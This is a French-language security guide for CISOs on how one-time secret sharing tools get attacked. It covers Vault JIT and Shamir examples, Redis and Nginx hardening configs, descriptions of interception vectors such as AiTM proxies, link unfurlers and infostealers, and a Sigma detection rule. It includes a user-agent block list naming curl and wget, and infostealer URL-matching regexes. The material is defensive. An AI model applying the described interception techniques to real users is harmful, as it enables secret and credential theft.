
  db_name=prod-postgres \

  creation_statements="CREATE ROLE \"{{name}}\" WITH LOGIN

    PASSWORD '{{password}}'

    VALID UNTIL '{{expiration}}';

    GRANT SELECT ON ALL TABLES IN SCHEMA public TO \"{{name}}\";

    GRANT USAGE ON ALL SEQUENCES IN SCHEMA public TO \"{{name}}\";" \

  revocation_statements="DROP ROLE IF EXISTS \"{{name}}\";" \

  default_ttl="1h" \

  max_ttl="4h"

# Obtention d'un credential JIT (depuis une application authentifiée)

vault read database/creds/readonly-jit

# Retourne : username=v-token-readonly-abc123, password=A1b2-C3d4..., lease_duration=1h

# Révocation immédiate si compromission suspectée (sans attendre le TTL)

vault lease revoke database/creds/readonly-jit/hvs.CAESIGhS...

SPIFFE/SPIRE : identité cryptographique pour les workloads

Pour les secrets entre services applicatifs (machine-to-machine), SPIFFE (Secure Production

Identity Framework For Everyone) et son implémentation de référence SPIRE (SPIFFE Runtime

Environment) éliminent entièrement le besoin de partager des credentials statiques entre services.

Chaque workload (pod Kubernetes, service systemd, processus applicatif) reçoit une identité

cryptographique appelée SVID (SPIFFE Verifiable Identity Document) sous forme de certificat

X.509 ou de JWT, délivrée par un agent SPIRE local attestant de l'identité réelle du workload via

des mécanismes de plateforme (attestation kernel, attestation Kubernetes, attestation AWS EC2).



Le SVID est automatiquement renouvelé avant expiration (typiquement toutes les heures),

révocable immédiatement via l'API SPIRE, et vérifiable par n'importe quel service disposant du

bundle de certificats racine SPIRE. La communication inter-services s'effectue via mTLS

(mutual TLS) avec les SVIDs comme identités mutuelles, sans partager de mot de passe ni de

token statique. Un attaquant compromettant un service ne récupère qu'un SVID valide pour la

durée restante du certificat courant — sans aucun accès aux identités des autres services.

Shamir's Secret Sharing pour les secrets de niveau critique

Pour les secrets de niveau absolu de criticité — clé maître HSM, seed de portefeuille

cryptographique, passphrase de déchiffrement de sauvegarde d'urgence, clé racine de

déchiffrement du Vault lui-même — l'algorithme de partage de secrets de Shamir (Shamir's

Secret Sharing, SSS) distribue la connaissance entre N parties de telle sorte qu'au moins K

parties doivent coopérer pour reconstituer le secret. Aucune des K-1 parties seules ne peut

reconstituer le secret, et aucune transmission du secret complet n'est nécessaire lors de la création

des parts. Les parts elles-mêmes peuvent être stockées sur des supports physiques distincts

(cartes à puce, HSM individuels, enveloppes scellées dans des coffres distincts) et confiées à des

personnes ou entités différentes.



# Shamir's Secret Sharing avec ssss : split en 5 parts, 3 requises

echo "MasterVaultUnsealKey_2026_XYZ" | ssss-split -t 3 -n 5 -q

# Output : 5 shares a distribuer independamment a 5 gardiens differents

# Exemple :

# 1-abc123def456789...

# 2-789012abc345def...

# 3-def456789012abc...

# 4-012abc345def678...

# 5-345def678901abc...

# Reconstruction ceremonie (necessite 3 des 5 gardiens presents)

ssss-combine -t 3 -q

# Entrer share 1 : 1-abc123def456789...

# Entrer share 2 : 3-def456789012abc...

# Entrer share 3 : 5-345def678901abc...

# Secret reconstruit : MasterVaultUnsealKey_2026_XYZ

# Alternative moderne avec age + threshold via bibliotheque age-threshold

# Pour des besoins enterprise, Vault Native Auto-Unseal avec AWS KMS

# elimine le besoin de SSS manuel pour l'unseal Vault

La sélection d'un outil de partage de secrets doit être guidée par une classification préalable

rigoureuse des données à transmettre. La matrice suivante est basée sur les niveaux de sensibilité

définis dans les référentiels ISO 27001 (niveaux Public, Interne, Confidentiel, Strictement

Confidentiel) et adaptée aux exigences NIS 2 pour les entités essentielles et importantes.

Matrice de Décision RSSI : Outil Recommandé par Niveau de Sensibilité



Niveau de

sensibilité
Exemples typiques Outil recommandé Conditions obligatoires

Faible (Public/

Interne)

WiFi invité, compte

démonstration, accès temporaire

non-privilégié

Password Pusher

auto-hébergé v1.49+

Version patchée, réseau

interne, HTTPS forcé

Moyen

(Confidentiel)

Credentials staging, tokens API

non-prod, VPN externe

Yopass auto-hébergé

+ canary token

Redis auth, TLS 1.3,

RBAC, SIEM monitored,

canary intégré

Élevé (Strictement

Confidentiel)

Credentials production, tokens

privilégiés, secrets

d'infrastructure

Vault JIT

uniquement

TTL max 1h, audit Vault

activé, rotation

automatique

Critique

(Existentiel)

Clés maître HSM, certificats

racine, seeds cryptographiques

Ne jamais partager

par ce canal

Rotation + PAM + HSM +

cérémonie SSS offline

Le pattern Dead Drop sécurisé pour les transmissions d'urgence

Pour les scénarios exceptionnels où un secret de sensibilité élevée doit malgré tout être transmis

manuellement à un tiers — onboarding d'urgence d'un prestataire de réponse à incident, transfert

de credentials de reprise après sinistre — le pattern Dead Drop combine plusieurs couches de

protection complémentaires pour réduire la surface d'attaque à un niveau acceptable :

Coordination téléphonique hors-bande : Communiquer par téléphone (ligne fixe ou mobile

direct, jamais via Teams/Slack) l'URL du secret et la fenêtre temporelle de disponibilité. Le canal

voix n'est pas inspectable par le CASB ni par Proofpoint.

Chiffrement PGP préalable : Chiffrer le secret avec la clé publique PGP vérifiée du destinataire

avant dépôt sur la plateforme éphémère. Même si le lien est intercepté, le ciphertext PGP est

cryptographiquement inutilisable sans la clé privée du destinataire. Cela neutralise les vecteurs

CASB, SIEM mining, et Redis AOF.

Ticket ITSM comme signal de confirmation : Créer un ticket dans le système ITSM (Jira

Service Management, ServiceNow) avec un message neutre référençant l'opération en cours. Ce

ticket sert de confirmation secondaire OOB sans exposer d'information sensible.

Fenêtre de disponibilité de 15 minutes : Configurer le secret avec le TTL minimal disponible et

coordonner le moment précis de la consultation par téléphone, réduisant la fenêtre d'interception

disponible à une durée non opérationnelle pour la plupart des vecteurs automatisés.



Rotation immédiate post-réception : Dès confirmation de réception par le destinataire

(callback téléphonique), rotation immédiate des credentials sur le système cible, invalidant

rétrospectivement tout intercepteur.

Les organisations qui choisissent de déployer Yopass ou Password Pusher en auto-hébergement

doivent implémenter un ensemble de configurations de sécurité minimales avant toute mise en

production. Ces configurations couvrent les couches Redis, Nginx, et les politiques de rétention

des journaux.

Recommandations de Hardening pour les Déploiements Auto-Hébergés



Configuration Redis sécurisée pour Yopass

# /etc/redis/redis.conf — Hardening Redis pour Yopass production

bind 127.0.0.1 ::1          # Jamais exposer sur 0.0.0.0

requirepass "$(openssl rand -base64 48)"  # Auth obligatoire, 48 chars random

protected-mode yes

port 6379

unixsocket /run/redis/redis.sock

# Desactiver les commandes dangereuses

rename-command CONFIG ""

rename-command DEBUG ""

rename-command FLUSHDB ""

rename-command FLUSHALL ""

rename-command SLAVEOF ""

rename-command REPLICAOF ""

rename-command KEYS ""         # Peut exposer la liste des secrets

# Desactiver les keyspace notifications (elimine le vecteur 7)

notify-keyspace-events ""

# Persistence : forcer compaction reguliere

appendonly yes

appendfsync everysec

auto-aof-rewrite-percentage 50   # Compaction plus frequente

auto-aof-rewrite-min-size 32mb   # Seuil plus bas

# Limiter la memoire pour eviter le swap (qui persistrait sur disque)

maxmemory 512mb

maxmemory-policy allkeys-lru

# TLS pour Redis 6+ (si Yopass supporte)

# tls-port 6380

# tls-cert-file /etc/ssl/redis/redis.crt

# tls-key-file /etc/ssl/redis/redis.key



Configuration Nginx avec blocage des bots et headers CSP

# /etc/nginx/sites-available/secrets.internal — Configuration hardened

server {

    listen 443 ssl http2;

    server_name secrets.internal.company.com;

    # TLS moderne uniquement

    ssl_protocols TLSv1.3;

    ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;

    ssl_prefer_server_ciphers off;

    ssl_session_cache shared:SSL:10m;

    ssl_session_tickets off;

    # Headers de securite (critique post CVE-2024-51989)

    add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; form-action 'self'; frame-ancestors 'none'; base-uri 'self';" always;

    add_header X-Frame-Options "DENY" always;

    add_header X-Content-Type-Options "nosniff" always;

    add_header Referrer-Policy "no-referrer" always;

    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=()" always;

    # Blocage bots connus qui consommeraient les liens (vecteur 2)

    location ~ ^/p/ {

        if ($http_user_agent ~* "(Slackbot|msnbot|Proofpoint|Twitterbot|facebookexternalhit|LinkedInBot|Googlebot|SafeLinks|Microsoft Office|curl|wget)") {

            return 403 "Bot access denied";

        }

        # Ne pas logger les URLs de secrets (reduit la persistence)

        access_log off;

        proxy_pass http://127.0.0.1:5100;

    }

    # Restriction reseau interne uniquement

    allow 10.0.0.0/8;

    allow 172.16.0.0/12;

    allow 192.168.0.0/16;

    deny all;

    ssl_certificate /etc/ssl/certs/secrets.internal.crt;

    ssl_certificate_key /etc/ssl/private/secrets.internal.key;

}



Recommandation RSSI 2026 : Initier un inventaire de tous les usages actuels des outils de

secrets éphémères dans votre organisation — souvent informels, non documentés, et non soumis

aux politiques de sécurité officielles. Categoriser chaque usage par sensibilité des données

transmises selon la grille ISO 27001. Pour les usages de sensibilité élevée identifiés, planifier la

migration vers Vault JIT sous six mois. Pour les usages de sensibilité faible à moyenne,

standardiser sur un déploiement Yopass auto-hébergé durci avec surveillance SIEM intégrée.

Interdire explicitement dans la politique de sécurité l'usage des services publics

(onetimesecret.com, privnote.com) pour toute donnée non publique — y compris les cas perçus

comme "à faible risque". Une politique sans formation est une politique sans application réelle. 

Yopass est-il vraiment sécurisé pour partager des secrets sensibles en entreprise ?

Yopass est la seule plateforme de cette catégorie qui implémente un chiffrement de bout en bout 

cryptographiquement vérifiable : la clé AES-256-GCM est générée par 

window.crypto.getRandomValues()  côté navigateur et placée exclusivement dans le fragment

d'URL, qui n'est jamais transmis au serveur HTTP. Le serveur ne peut donc pas déchiffrer le

secret. Cependant, Yopass ne protège pas contre les extensions de navigateur malveillantes

(permission tabs ), les proxies SSL-intercepting d'entreprise qui loggent l'URL complète

incluant le fragment, ni contre les infostealers présents sur le poste du destinataire. Pour les

données de sensibilité élevée (clés API production, credentials base de données), l'architecture

JIT Vault reste la seule solution éliminant structurellement le vecteur de partage humain.

Comment détecter qu'un secret one-time a été intercepté avant le destinataire légitime ?

Trois indicateurs forensiques sont fiables : (1) le delta temporel — si l'écart entre la création du

secret et sa consommation est inférieur à 2 secondes, c'est nécessairement un bot ou un proxy

AiTM (un humain ne peut pas réagir aussi vite) ; (2) le User-Agent du consommateur — les

patterns Slackbot , msnbot , proofpoint-bot , python-requests  ou curl  indiquent une

Questions Fréquentes — One-Time Secrets & Sécurité



consommation automatique ; (3) le fingerprint JA3/JA3S TLS — les proxies et bots présentent

des fingerprints TLS caractéristiques différents des navigateurs légitimes. La mise en place de

canary tokens (un lien canarytokens.org inclus dans le secret) permet de détecter la

consommation non autorisée en temps réel, avant même que le destinataire légitime ne tente

d'accéder au contenu.

Password Pusher est-il safe à auto-héberger pour une utilisation en entreprise ?

Password Pusher est une solution open source auditable, ce qui constitue un avantage

fondamental sur les plateformes SaaS opaques. Cependant, plusieurs prérequis doivent être

satisfaits pour un déploiement sécurisé : version ≥ 1.48.1 (corrige CVE-2024-51989, XSS stocké

CVSS 7.5) ; activation des audit logs natifs et envoi vers un SIEM ; Redis avec

authentification et désactivation de l'AOF persistence (ou chiffrement at-rest du volume) ;

reverse proxy dédié avec WAF et blocage des User-Agents de bots connus ; mise en place

d'alertes sur les consommations en moins de 30 secondes. Sans ces contrôles, une instance auto-

hébergée non patchée est une cible documentée : le workflow Censys → identification de version

→ exploitation CVE-2024-51989 → accès admin est automatisable en quelques dizaines de

lignes.

Quelles alternatives pour partager des secrets critiques sans outil one-time ?

Pour les secrets de niveau élevé ou critique (clés API production, credentials bases de données,

certificats racines), l'approche JIT (Just-In-Time) avec HashiCorp Vault ou CyberArk Conjur

élimine structurellement le problème : le secret n'est jamais partagé entre humains. L'utilisateur

s'authentifie via OIDC/SAML, obtient un credential éphémère généré dynamiquement (username

+ password uniques, TTL configurable de 15 minutes à 24 heures), et le secret est

automatiquement révoqué à expiration. Pour les échanges machine-à-machine, SPIFFE/SPIRE

fournit une identité cryptographique de workload éliminant les API keys statiques. Pour les

secrets les plus critiques nécessitant une validation humaine multiple, le Shamir's Secret

Sharing (implémenté nativement dans Vault Unseal) divise la clé maître en N parts dont K sont

nécessaires — aucune personne seule ne peut unsealer le Vault.



Les outils de partage de secrets éphémères répondent à un besoin opérationnel réel et légitime

dans les workflows IT modernes. Leur modèle de sécurité, cependant, est profondément mal

compris par la majorité de leurs utilisateurs — y compris dans des équipes techniques de haut

niveau. La promesse d'autodestruction crée une sensation de sécurité qui peut conduire à une

prise de risque accrue : des secrets de niveau critique transitent via ces canaux précisément parce

que leurs utilisateurs croient qu'ils disparaissent sans laisser de trace. La réalité, documentée à

travers neuf vecteurs d'attaque distincts et une carte de persistence montrant cinq à huit systèmes

de rétention dans un environnement enterprise typique, est radicalement différente de cette

perception.

La seule plateforme offrant des garanties cryptographiques vérifiables — Yopass avec son E2E

WebCrypto AES-256-GCM et sa clé dans le fragment d'URL — ne résout que le vecteur de

compromission du serveur de stockage. Elle ne protège pas contre un endpoint compromis par un

infostealer, contre les bots de prévisualisation enterprise, contre l'inspection CASB/DLP, ni

contre l'exploitation d'une CVE dans l'application elle-même. La CVE-2024-51989 dans

Password Pusher rappelle également que les outils open source auto-hébergés requièrent un

processus de gestion des vulnérabilités aussi rigoureux que pour n'importe quel composant

d'infrastructure critique.

La position de sécurité recommandée pour un RSSI n'est pas d'interdire ces outils en bloc — leur

utilité est réelle pour les niveaux de sensibilité appropriés — mais de les intégrer dans un cadre

de gouvernance formalisé, avec une matrice de décision claire, des déploiements auto-hébergés

durcis, et une surveillance SIEM opérationnelle. Pour les secrets de sensibilité élevée et critique,

Vault JIT et SPIFFE/SPIRE ne sont pas des recommandations théoriques issues d'une réflexion

en chambre, mais des nécessités architecturales que l'analyse des vecteurs d'attaque documentés

rend incontournables. Les Red Teams qui intègrent ces vecteurs dans leurs scénarios d'exercice

— particulièrement la capture AiTM de liens éphémères, l'exploitation du SIEM post-breach

pour retrouver des secrets historiques, et la simulation d'infostealers avec DOM scraping —

contribuent à ancrer cette réalité dans la culture de sécurité de leur organisation.

© Ayi NEDJIMI Consultants — Tous droits réservés https://ayinedjimi-consultants.fr/articles/one-time-secret-attaques-rssi-red-team

Conclusion : Réalisme Opérationnel Face aux Illusions de Sécurité


	One-Time Secrets : Anatomie des Attaques — Guide RSSI
	Anatomie Cryptographique : Ce que Chaque Outil Fait Réellement de Votre Secret
	Yopass : la seule implémentation E2E cryptographiquement vérifiable
	OneTimeSecret : chiffrement côté serveur, confiance implicite obligatoire
	Password Pusher : open source auditable, mais CVE-2024-51989
	Privnote : opacité maximale, confiance aveugle requise

	Les Neuf Vecteurs d'Attaque Documentés
	Retour terrain

	Vecteur 1 — BEC et proxies AiTM : la compromission silencieuse du canal La Business Email Compromise combinée à des proxies AiTM (Adversary-in-the-Middle) représente le vecteur le plus documenté dans les rapports d'incident récents impliquant des secrets éphémères. Des groupes comme APT29 et Scattered Spider ont utilisé des frameworks tels qu'EvilProxy et Modlishka pour relayer en temps réel les sessions d'authentification Microsoft 365 ou Google Workspace, capturant les cookies de session post-MFA sans nécessiter de cracker les facteurs d'authentification. Le proxy AiTM se positionne entre le navigateur victime et le service légitime, relayant les requêtes de manière transparente tout en capturant les credentials et les cookies. Dans le contexte des secrets éphémères, le scénario d'attaque est précis : l'attaquant compromet la messagerie d'un employé via AiTM, surveille les emails entrants en temps réel, et intercepte les liens vers les secrets éphémères avant que le destinataire légitime ne les consulte. Le lien est visité immédiatement par l'attaquant via un proxy résidentiel pour masquer l'origine géographique, le secret est lu et enregistré, et le lien est définitivement marqué comme consommé. Le destinataire légitime, qui reçoit quelques minutes plus tard une page d'erreur "secret déjà lu", ne peut pas distinguer un accès concurrent légitime d'une interception malveillante — surtout si l'attaquant a eu soin de recréer un nouveau lien éphémère avec le même contenu depuis une adresse email compromise, pour éviter d'éveiller les soupçons. Pour une analyse technique approfondie des mécanismes AiTM, consultez notre article sur EvilGinx et les attaques AiTM de contournement MFA.
	Vecteur 2 — Consommation automatique par les prévisualiseurs d'entreprise Ce vecteur est particulièrement insidieux car il opère à travers des mécanismes de sécurité officiels et légitimes, transformant les outils de protection en vecteurs d'interception involontaire. Lorsqu'un lien vers un secret éphémère est partagé dans Slack, Microsoft Teams, ou via un email protégé par Proofpoint TAP (Targeted Attack Protection), plusieurs systèmes automatisés visitent l'URL avant que l'utilisateur humain ne la clique. Le Slack Link Unfurler génère une prévisualisation riche de la page liée, ce qui nécessite une requête HTTP GET complète vers l'URL — et pour un lien OTS ou Password Pusher, cette requête GET suffit à déclencher le compteur d'accès et à marquer le secret comme consommé. Microsoft Teams Safe Links redirige l'URL via les serveurs Microsoft, qui effectuent une analyse de sécurité du contenu cible — requérant également une requête vers l'URL originale. Proofpoint TAP réécrit les liens dans les emails et effectue une inspection du contenu en temps réel. Pour les secrets configurés en mode "un seul accès autorisé", le résultat est identique dans les trois cas : le secret est marqué consommé par le bot quelques secondes après l'envoi du message, avant que le destinataire humain n'ait eu le temps de cliquer. Dans certaines configurations d'archivage d'entreprise, ces systèmes loggent le contenu qu'ils inspectent, créant une copie persistante du secret dans des journaux d'audit potentiellement accessibles post-breach.
	Vecteur 3 — CASB et DLP inline : quand la sécurité crée le risque Les architectures CASB (Cloud Access Security Broker) et DLP (Data Loss Prevention) déployées en mode proxy inline — comme Netskope, Zscaler Internet Access, ou Forcepoint — interceptent et déchiffrent le trafic HTTPS au niveau du réseau d'entreprise via une autorité de certification racine installée sur les postes de travail. Ce déchiffrement TLS est transparent pour l'utilisateur mais signifie que toute requête HTTPS vers un service de secrets éphémères est visible en clair par le proxy d'entreprise. Les configurations DLP typiques loggent le contenu des réponses HTTP pour permettre l'inspection des règles DLP — ce qui crée une copie textuelle du secret dans les journaux du proxy. La durée de rétention de ces journaux varie de 30 jours à plusieurs années selon les politiques de compliance de l'organisation. De plus, les règles DLP configurées pour détecter des patterns spécifiques (numéros de carte bancaire, credentials au format password=xxx, clés API) peuvent copier les contenus correspondants vers des systèmes de quarantaine DLP, créant une persistence explicite et documentée. Ce vecteur illustre paradoxalement comment l'infrastructure de sécurité elle-même peut annuler les propriétés d'éphémérité des outils qu'elle surveille.
	Vecteur 4 — Infostealers : la capture sub-100 millisecondes Les infostealers modernes comme Lumma Stealer, Raccoon v2 et RedLine ont développé des capacités spécifiques ciblant les gestionnaires de mots de passe et les afficheurs de secrets dans le navigateur. Le hook clipboard surveille en temps réel le presse-papier Windows et capture toute URL ou toute chaîne correspondant à des patterns connus de services de secrets éphémères, en utilisant des expressions régulières compilées sur les domaines cibles : onetimesecret\.com\/secret\/[a-z0-9]+, pwpush\.com\/p\/[a-zA-Z0-9]+, yopass\.se\/#[A-Za-z0-9+/=]+. Le DOM scraping s'exécute dans un thread injecté dans le processus du navigateur (via hooking de l'API CreateRemoteThread) et extrait le contenu des éléments DOM identifiés par des sélecteurs CSS ou XPath correspondant aux zones d'affichage du secret déchiffré — typiquement en moins de 100 millisecondes après que le JavaScript de la page a terminé son exécution de déchiffrement. Les captures d'écran automatiques avec reconnaissance optique de caractères (OCR) permettent de récupérer des secrets affichés dans des zones non accessibles via le DOM standard, comme les overlays de sécurité ou les popups de confirmation. Pour une analyse détaillée de ces mécanismes d'interception, voir notre article sur Lumma Stealer et les infostealers 2026. Note Red Team : Lors d'un test d'intrusion impliquant un poste de travail compromis, tester systématiquement si un infostealer simulé peut capturer le contenu d'un secret Yopass avant que l'utilisateur ne ferme la fenêtre ou ne recharge la page. Même avec un chiffrement E2E parfait sur le réseau, un endpoint compromis invalide l'ensemble des garanties cryptographiques de la chaîne de transmission. La surface d'attaque se déplace du réseau vers l'endpoint, et la défense efficace requiert une protection EDR avec détection de hooking d'API navigateur.
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	Inventaire complet des systèmes de persistence en entreprise Système Type de données stockées Durée de rétention Contenu exposé Redis AOF Journal append-only des opérations Jusqu'à compaction (jours/semaines) Valeur complète (ciphertext ou plaintext) Nginx / Apache access.log URL + User-Agent + IP + timestamp 30 à 90 jours (logrotate) URL complète du secret Rails application.log Requêtes HTTP + paramètres 7 à 30 jours Parfois params POST en clair SIEM (Splunk / Elastic) Logs agrégés toutes sources 1 à 7 ans (compliance NIS 2) URL + métadonnées + timestamps CASB / DLP proxy Contenu HTTP inspecté 90 jours à 1 an Plaintext si TLS décrypté Proxy d'entreprise Flux HTTP/S complets 30 à 180 jours URL + contenu si MITM actif Logs email (Exchange / Google) Corps et liens des messages 90 jours à 7 ans (légal) URL du secret visible en clair Archivage messagerie (Veeam, Barracuda) Emails complets archivés 3 à 10 ans (conformité) URL permanente dans archive À retenir — Persistence fantôme : Dans un environnement d'entreprise standard soumis à des exigences de compliance (NIS 2, ISO 27001, SOC 2), un secret "autodétruit" reste potentiellement accessible dans 5 à 8 systèmes différents pendant des durées allant de quelques jours à plusieurs années. La propriété d'éphémérité ne concerne que le stockage applicatif de la plateforme elle-même, jamais les couches d'infrastructure, de logging, de sécurité périmétrique et d'archivage. Ce fait doit être communiqué explicitement aux utilisateurs de ces outils et doit guider la classification des données autorisées à transiter par ces canaux. Voir également notre analyse du secrets sprawl et des méthodes de collecte de secrets dispersés.
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	Règle Sigma : Consommation automatique par des agents non-humains title: One-Time Secret Consumption by Automated Bot User-Agent id: 7f3a9b2c-1234-4567-89ab-cdef01234567 status: experimental description: > Detects access to one-time secret URLs by known bot User-Agents including link unfurlers, Safe Links scanners, and email security proxies. These bots can consume single-use links before the intended recipient. references: - https://attack.mitre.org/techniques/T1552/ - https://attack.mitre.org/techniques/T1550/ author: Security Team date: 2026/06/17 logsource: category: proxy product: generic detection: selection_secret_urls: cs-uri-stem|contains: - '/p/' - '/secret/' - '/push/' cs-host|endswith: - 'privnote.com' - 'onetimesecret.com' - 'pwpush.com' - 'yopass.se' - 'yopass.io' selection_bot_agents: cs-user-agent|contains: - 'Slackbot' - 'Slackbot-LinkExpanding' - 'msnbot' - 'Proofpoint' - 'proofpoint-bot' - 'Twitterbot' - 'facebookexternalhit' - 'LinkedInBot' - 'Googlebot' - 'SafeLinks' - 'Microsoft Office' condition: selection_secret_urls and selection_bot_agents falsepositives: - Legitimate link preview in enterprise messaging (document and create exception policy) level: medium tags: - attack.credential_access - attack.t1552.001 - attack.collection - attack.t1213
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